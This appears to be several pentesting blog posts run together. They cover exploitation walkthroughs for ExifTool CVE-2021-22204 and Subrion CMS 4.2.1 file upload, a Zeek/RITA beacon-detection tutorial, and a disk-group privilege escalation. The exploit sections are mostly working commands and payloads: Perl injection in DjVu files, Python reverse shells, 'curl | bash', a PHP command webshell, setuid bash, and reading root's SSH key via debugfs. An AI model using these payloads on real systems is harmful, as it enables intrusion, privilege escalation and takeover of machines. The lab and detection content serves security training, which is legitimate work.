ExifTool 12.23 – Arbitrary Code Execution – (Privilege escalation) – CVE-2021-22204

ExifTool could allow a local attacker to execute arbitrary code on the system, caused by improper neutralization of user data in the DjVu file format. By using a specially-crafted image file, an attacker could exploit this vulnerability to execute arbitrary code on the system.

Exiftool is a tool and library made in Perl that extracts metadata from almost any type of file. The vulnerability happens when Exiftool tries to parse the DjVu[4] filetype, more specifically the annotations field in the file structure.

To trigger the vulnerable function, we need to create a valid DjVu file that contains an annotation chunk with the payload that will be executed by the eval function as Perl code.

Affected version

7.44 to 12.23


1. Check the tool version

  • exiftool -ver

2. Supported extensions

  • exiftool -listf

3. Using PSPY script, I noticed a script running quite often /opt/image-exif.sh, before that script I see cron being executed, so, I assume this is a scheduled task

  • ./pspy64

4. Reading the contents of /etc/crontab I confirm this is a scheduled task

  • less /etc/crontab

5. I tried to read the file, and I had permissions

  • ls -l /opt/image-exif.sh
  • cat /opt/image-exif.sh

6. Taking a look at the script, it does the following

  • inspect jpg files located in /var/www/html/subrion/uploads
  • it uses exiftool to read the file and store the EXIF data of each file in /opt/metadata

7. As we verified that exiftool is vulnerable, and it is running to a folder we can write files, we can upload a crafted JPG file so exiftool executes against it

Basic POC

1. Install the required binaries

  • sudo apt-get install -y djvulibre-bin

2. Create a file named payload, add the following code

  • vi payload
  • (metadata "\c${system('id')};")
  • cat payload

3. (OPTIONAL) Compress our payload file with to make it non human-readable

  • bzz payload payload.bzz

4. Convert our payload into .djvu file

# INFO = Anything in the format 'N,N' where N is a number

# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image

# ANTz = Will write the compressed annotation chunk with the input file

  • djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

5. Transfer this file to the victim machine and run exitftool against it, the output should show the contents of “id” command also

  • cd /tmp
  • wget
  • exiftool exploit.djvu

Note: Now we have our basic exploit for Exiftool. But a DjVu file isn’t of much use for us, because it is not accepted in most of the file uploads that we find in the wild. Our next goal is to put the malicious payload and execute it from a JPEG file.

Exploitation (Manual)

1. Knowing exiftool’s installed version and confirming it is vulnerable to CVE-2021-22204 (7.44 to 12.23), we proceed to exploit it

  • vi exploit.sh


python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2. Create the payload

  • vi payload
  • (metadata "\c${system ('curl | bash')};")

3. Now create a djvu file

  • djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=payload

4. Proceed to change the file name to look like .jpg

  • mv exploit.djvu exploit.jpg

5. Start the listener and the web server for the file transfer

  • python3 -m http.server 8081
  • nc -lvp 4444

6. Transfer to the remote machine

  • cd /var/www/html/subrion/uploads
  • wget

Note: As we noticed before, there was a script running in the remote victim machine, it was using exiftool as a scheduled task to inspect jpg files in /var/www/html/subrion/uploads, I will upload exploit.jpg and wait for the task to execute

7. Wait for exiftool to execute the code as per the scheduled task in this case

Alternative commands

This way we get to inject the response within copyright header

  • wget -qO sample.jpg placekitten.com/200
  • file sample.jpg
  • printf 'P1 1 1 1' > input.pbm
  • cjb2 input.pbm mask.djvu
  • djvumake exploit.djvu Sjbz=mask.djvu
  • echo -e '(metadata (copyright "\\\n" . `id` #"))' > input.txt
  • djvumake exploit.djvu Sjbz=mask.djvu ANTa=input.txt
  • exiftool '-GeoTiffAsciiParams<=exploit.djvu' sample.jpg
  • perl -0777 -pe 's/\x87\xb1/\xc5\x1b/g' < sample.jpg > exploit.jpg

Exploit (Metasploit)

1. Metasploit has an automated script that creates the .jpg file with a payload

  • use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
  • show options

2. Set the payload (I’ll use default) and the LHOST. It will create a file in your home folder in this case (/home/vry4n/.msf4/local/msf.jpg)

  • set LHOST
  • exploit

3. Start a listener, set the same payload as in the previous module

  • use exploit/multi/handler
  • set payload cmd/unix/python/meterpreter/reverse_tcp

4. Set the payload IP as in the previous module, and run it

  • set LHOST
  • exploit

5. Transfer the file we created into the remote machine, and wait for the task to execute it

  • wget

Exploit (Script)

1. We can also use scripts out on the internet in this case (https://github.com/convisolabs/CVE-2021-22204-exiftool)

  • git clone https://github.com/convisolabs/CVE-2021-22204-exiftool.git
  • cd CVE-2021-22204-exiftool

2. Edit the exploit.py script, we only need to add our IP address for the reverse shell

  • vi exploit.py

3. Run the script, the script will create a file named image.jpg

  • python exploit.py
  • ls

4. Start a listener using the same port as in the exploit.py file, in this case 9090

  • nc -lvp 9090

5. Transfer the file into the server and wait for the schedule task to act on it

  • wget

Exploit 2 (Script)

1. There is this other script that allows us to run commands (https://github.com/bilkoh/POC-CVE-2021-22204)

  • git clone https://github.com/bilkoh/POC-CVE-2021-22204.git
  • cd POC-CVE-2021-22204

2. Run the script and define the command, a file named notevil.jpg will be created

  • perl build_image.pl "chmod +s /bin/bash"

3. Transfer the file into the remote server, and, wait for the schedule task to execute exiftool

  • wget
  • ls -l /bin/bash



Exploit 3 (Script)

1. There is a script in exploit-db that also abuses this vulnerability (https://www.exploit-db.com/exploits/50911)

  • wget https://www.exploit-db.com/raw/50911 -O

2. Run it to see its options

  • python 50911

3. We can create a file that runs a command, the script creates a image file

  • python 50911 -c "mkdir /tmp/Vry4n_test"
  • file image.jpg

4. Transfer the file into the server and have it run

  • cd /tmp
  • wget
  • ls

5. Run exiftool against image.jpg, a folder should be created

  • exiftool image.jpg
  • ls

6. Now, let’s set up a reverse shell, start a listener in the local computer

  • nc -lvp 7777

7. Run the script as follows

  • python 50911 -s 7777

8. Now, transfer the file into the remote machine and have exiftool run

  • exiftool image.jpg

9. We can also use our own image

  • python 50911 -s <local-IP> <local-port> [-i <image.jpg>]


ExifTool has already been patched in version 12.24. exiftool-vendored, which vendors ExifTool, includes this patch in v14.3.0.










Finding beacons: ZEEK + RITA

Once, the tools have been properly installed. Start analyzing packet captures. For demonstration purposes I will use (https://www.activecountermeasures.com/malware-of-the-day-zeus/)

How to

1. Check the pcap info

  • capinfos zeus_1hr.pcap

2. Parse the pcap file using zeek

  • sudo zeek --no-checksums --readfile zeus_1hr.pcap
  • ls

Note: As a result we get a lot of log files separated by protocol

3. We can read these log files using less

  • less -Sx20 files.log

4. We can use head to grab the column name, and filter the log document using zeek-cut, lets look at conn.log

  • head conn.log | grep fields
  • cat conn.log| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p duration


id.orig_h = Source IP

id.orig_p = Source port

id.resp_h = Destination IP

id.resp_p = Destination port

duration = session duration

Find long connections

1. Knowing how to filter columns we can proceed to sort them, in order to find long connections, sort by duration

  • cat conn.log| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p duration | sort -k5rn

2. Now we can remove the “-“ connections and add the time of unique sessions using datamash (sort and datamash work with columns)

  • cat conn.log| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p duration | sort | grep -v "-" | grep -v "^$" | datamash -g 1,3 sum 5 | sort -k3rn

3. We can also search for multiple unique sessions via http protocol

  • cat http.log | zeek-cut id.orig_h id.resp_h | sort | uniq -c | sort -rn

4. We can now check the pcap file for requests going to the host that has highest

  • sudo ngrep -qI zeus_1hr.pcap "GET /" host

Note: We can search for the values in there such as the URI or domain name of the server on the internet to see if there is any association with malware in our case it shows it is part of Zeus malware

5. We can enumerate ports and services

  • cat conn.log| zeek-cut service | grep -v "-" | sort | uniq -c | sort -nr

6. We can also convert duration to time

  • cat conn.log| zeek-cut -d ts

7. We can also filter by column using awk command

  • cat conn.log| zeek-cut -d ts id.orig_h id.resp_h service | awk '{if($4 != "-" && $4 != "dns") print $1,$2,$3,$4}'

8. We can check conn.log to filter connections by source and count of sessions

  • cat conn.log| zeek-cut id.orig_h | sort | uniq -c | sort -rn

9. We can search for the top destinations

  • cat conn.log| zeek-cut id.resp_h | sort | uniq -c | sort -rn

10. Also filter by destination ports

  • cat conn.log| zeek-cut id.resp_p | sort | uniq -c | sort -rn

Note: Notice uncommon ports are visited more often than known ports such as 80, we can check for duration of the sessions and confirm the flow, in this example we noticed port 9200 has a persistent connection

  • cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration | sort -k4rn | head -5

Extra: We can convert that time to seconds

  • eval "echo $(date -ud "@$seconds" +'$((%s/3600/24)) days %H hours %M Minutes %S Seconds')"

Finding beacons ZEEK + RITA (files)

1. After parsing the pcap, we get a file named files.log, reading it using less we can gather the headers

  • sudo zeek --no-checksums --readfile zeus_1hr.pcap
  • less -Sx20 file.log

2. We can search by filename and its respective hash

  • cat files.log | zeek-cut -d ts filename sha1

3. Also, filter by file name to exclude “-“

  • cat files.log | zeek-cut filename | grep -iEv "(-)"

4. search by host, destination, protocol, application and filename

  • cat files.log | zeek-cut tx_hosts rx_hosts source mime_type filename

5. Filter the results, example, exclude “x509” and iv the column 6 is not equals to “-“

  • cat files.log | zeek-cut -d ts tx_hosts rx_hosts source mime_type filename | grep -v 'x509' | awk '$6!="-"'

Finding beacons ZEEK + RITA (DNS)

1. After parsing the pcap, we get a file named dns.log, reading it using less we can gather the headers

  • sudo zeek --no-checksums --readfile zeus_1hr.pcap
  • less -Sx20 dns.log

2. We can filter all the columns

  • cat dns.log| grep fields | awk '{ for (i = 1; i <= NF; i++) print $i }'

3. Convert the timestamps to human readable

  • cat dns.log | zeek-cut -d ts

4. We can filter by source, destination IPs & DNS query

  • cat dns.log | zeek-cut -d ts id.resp_h id.dest_h query

5. We can use grep to get rid of the domain local queries, or legit queries that we see, | is used as “or”

  • cat dns.log | zeek-cut -d ts id.resp_h id.dest_h query | grep -iEv '(desktop-)'
  • cat dns.log | zeek-cut -d ts id.resp_h id.dest_h query | grep -iEv '(desktop-|in-addr.arpa)'

Using RITA to import logs into database

1. Import the .log files

  • sudo rita import . malware_db

2. Once, the data has been imported we can search by beacons

  • sudo rita show-beacons malware_db --human-readable

3. This can be printed in html format

  • sudo rita html-report malware_db

4. Search for an interesting IP and list the files where it appears

  • grep -iRl

5. Search within a specific log

  • grep -iR conn.log


Set up Rita + Zeek + MongoDB

RITA is an open source framework for network traffic analysis. The framework ingests Zeek Logs in TSV format, and currently supports the following major features:

  • Beaconing Detection: Search for signs of beaconing behavior in and out of your network
  • DNS Tunneling Detection Search for signs of DNS based covert channels
  • Blacklist Checking: Query blacklists to search for suspicious domains and hosts


Note: RITA needs Zeek logs as input, and, MongoDB to build a database

How to set Up

Using the manual installation process (https://github.com/activecm/rita/blob/master/docs/Manual%20Installation.md)


MongoDB is a high-performance, open source, schema-free document-oriented data store that's easy to deploy, manage and use. It's network accessible, written in C++ and offers

the following features:

  • Collection oriented storage - easy storage of object-style data
  • Full index support, including on inner objects
  • Query profiling
  • Replication and fail-over support
  • Efficient storage of binary data including large objects (e.g. videos)
  • Auto-sharding for cloud-level scalability

1. Follow the steps below as indicated in GitHub

2. Check the vendor documentation (https://www.mongodb.com/docs/v4.2/installation/)

3. Follow the steps indicated in “Install MongoDB Community Edition” section, Import the public key used by the package management system. We should get “OK” as response

  • wget -qO - https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add –

Note: if you receive an error indicating that gnupg is not installed, you can

  • sudo apt-get install gnupg

4. Create a /etc/apt/sources.list.d/mongodb-org-4.2.list file for MongoDB.

  • echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.2 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.2.list

5. Issue the following command to reload the local package database:

  • sudo apt-get update

6. Install the MongoDB packages.

  • sudo apt-get install -y mongodb-org

7. Start MongoDB

  • sudo systemctl start mongod
  • sudo systemctl status mongod

Note: If you receive an error similar to the following when starting mongod:

  • Failed to start mongod.service: Unit mongod.service not found.

Run the following command first:

  • sudo systemctl daemon-reload

8. (OPTIONAL) You can ensure that MongoDB will start following a system reboot by issuing the following command:

  • sudo systemctl enable mongod

9. Stop/Restart MongoDB

  • sudo systemctl stop mongod
  • sudo systemctl restart mongod


1. Follow the steps below as indicated in GitHub (https://github.com/activecm/rita/blob/master/docs/Manual%20Installation.md)

2. Download the RITA binaries

3. Compile the files using “make” & “make install” commands

  • sudo make
  • sudo make install

4. Now that it successfully compiled and installed, we can run rita as test

  • rita --version
  • rita

5. RITA requires a few directories to be created for it to function correctly.

  • sudo mkdir /etc/rita && sudo chmod 755 /etc/rita
  • sudo mkdir -p /var/lib/rita/logs && sudo chmod -R 755 /var/lib/rita

6. Copy the config file from your local RITA source code.

  • sudo cp etc/rita.yaml /etc/rita/config.yaml && sudo chmod 666 /etc/rita/config.yaml

7. Using RITA again we don’t get the config.yaml error

  • sudo rita --version

8. Test the config

  • rita test-config


Zeek is primarily a security monitor that inspects all traffic on a link in depth for signs of suspicious activity.

1. Follow the steps below as indicated in GitHub (https://github.com/activecm/rita/blob/master/docs/Manual%20Installation.md)

2. Visit Zeek documentation

3. Make sure that you meet the pre-requisites, if you don’t or don’t know, scroll down and find “To install the required dependencies, you can use:” section, I’ll use Debian’s dependencies installation

  • sudo apt-get install cmake make gcc g++ flex bison libpcap-dev libssl-dev python3 python3-dev swig zlib1g-dev -y

4. Now install Zeek

  • sudo apt install zeek -y

5. Check zeek has been installed

  • zeek -v
  • zeek -h

6. We now need to get zeek-cut tool, which is very important to manage the pcap. Visit https://github.com/zeek

7. Now proceed to download the zeek-aux code (https://github.com/zeek/zeek-aux) to install “zeek-cut” command. zeek-cut extracts the given columns from ASCII Zeek logs on standard input, and outputs

them to standard output.

8. Now, we need to compile these binaries, for this we will need “cmake” which can be found in https://github.com/zeek/cmake, download the files within the zeek-aux folder

Note: This is a collection of CMake scripts intended to be included as a

git submodule in other repositories related to Zeek

9. Now run it

  • sudo ./configure
  • sudo make
  • sudo make install
  • sudo updated

10. In order to locate the executable use

  • locate zeek-cut
  • file /usr/local/zeek/bin/zeek-cut
  • sudo cp /usr/local/zeek/bin/zeek-cut /usr/bin

11. Verify zeek-cut can be now run as a command

  • zeek-cut -h

Cheat sheet

The tool is ready to use. Here you have some ZEEK commands that you can use (https://github.com/corelight/bro-cheatsheets)


Disk group privilege escalation

The disk group gives the user full access to any block devices contained within /dev/. Since /dev/sda1 will in general be the global file-system, and the disk group will have full read-write privileges to this device


1. Check the permissions on the current user

  • Id

2. Using LinEnum script can also help (https://github.com/rebootuser/LinEnum)

  • ./LinEnum.sh

3. List /dev devices owner and group owner

  • ls -l /dev

4. You can also find the partitions owned by disk group

  • find /dev -group disk

5. Also display the available partitions

  • df -h


1. Knowing your user is part of the disk group we can use debugfs to enumerate the entire disk with effectively root level privileges. We also have full read-write access to the disk block files, so we can extricate these or write arbitrary data to them. With the disk group, we are effectively root, just in a roundabout way. We will explore the partition where the / (root) directory is mounted on in this case /dev/sda2

  • debugfs /dev/sda2

2. Being in there we can write files, in our case this is read-only

  • cd /root
  • ls
  • mkdir test

3. In this case as we don’t have write permissions, we can try to read the ssh keys

  • cd /root/.ssh
  • ls
  • cat id_rsa

4. Copying the contents of this file in a new file in our local machine, and set proper permissions

  • vi id_rsa
  • chmod 600 id_rsa

5. Now using that key try to log into the server again

  • ssh -i id_rsa root@


Try not to assign users into the disk group


Subrion CMS 4.2.1 – Arbitrary File Upload (Authenticated) – 2018-19422

Subrion CMS could allow a remote authenticated attacker to upload arbitrary files, caused by the improper validation of file extensions by the /panel/uploads URI. By sending a specially-crafted HTTP request, a remote attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.

/panel/uploads in Subrion CMS 4.2.1 allows remote attackers to execute arbitrary PHP code via a .pht or .phar file, because the .htaccess file omits these.

Affect version

  • 4.2.1


1. To identify the version of the Subrion application you can navigate to /panel/

  • http://ip/panel/
  • http://exfiltrated.offsec/login/

2. You can use curl to get the page info

  • curl http://exfiltrated.offsec/panel/ | grep -i Subrion

Exploitation (Script)

1. Now that we know the Subrion CMS version we can proceed search for exploits that apply

  • searchsploit Subrion 4.2.1

2. Looking at the results, I would use the “Arbitrary File Upload”, (https://www.exploit-db.com/exploits/49876), so, I download it

  • searchsploit -m php/webapps/49876.py
  • python 49876.py

3. After successful download, we proceed to test the script, we need to provide the credentials as this is an authenticated attack. You can brute force the credentials or try to use the default ones, admin/admin, in my case the default credentials were set

  • python 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin
  • whoami

Exploitation (Manual)

1. Having already the credentials proceed to log into the Subrion CMS console

  • http://exfiltrated.offsec/panel/
  • admin/admin

2. Once, authenticated, go to http://[address]:[port]/[app_path]/panel/uploads

  • http://exfiltrated.offsec/panel/uploads/

3. We will create a php file that prints text as a Proof of Concept, the file extension should be either pht or .phar

  • vi php_poc.phar
  • cat php_poc.phar
  • <?php echo "Vry4n was here!"; ?>

4. Proceed to upload it to Subrion CMS, and check the location, in this case (uploads/php_poc.phar)

5. Navigate to that location, as you can see code has been executed

  • http://exfiltrated.offsec/uploads/php_poc.phar

6. Now we can try to upload a basic line of code to proof we can run commands

  • vi php_code.phar
  • cat php_code.phar
  • <?php system($_GET['cmd']); ?>

7. Repeat the upload step, and visit the file, then use the variable cmd followed by the command you need

  • http://exfiltrated.offsec/uploads/php_code.phar?cmd=whoami

8. We can run a python reverse shell, start a local listener in our attacking machine

  • nc -lvp 1234

9. I used https://www.revshells.com/ to create a python3 reverse shell

  • http://exfiltrated.offsec/uploads/php_code.phar?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
  • whoami


1. We can try to use a webshell, we will edit the one in our local Kali machine /usr/share/webshells/php/php-reverse-shell.php

  • cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop/php-reverse-shell.php
  • cd ~/Desktop
  • mv php-reverse-shell.php php-reverse-shell.phar
  • vi php-reverse-shell.phar

2. Start a listener

  • nc -lvp 1234

3. Upload it to the Subrion CMS, and then execute the .phar file, we should have a connection back

  • http://exfiltrated.offsec/uploads/php-reverse-shell.phar
  • whoami


No remedy available as of November 14, 2018.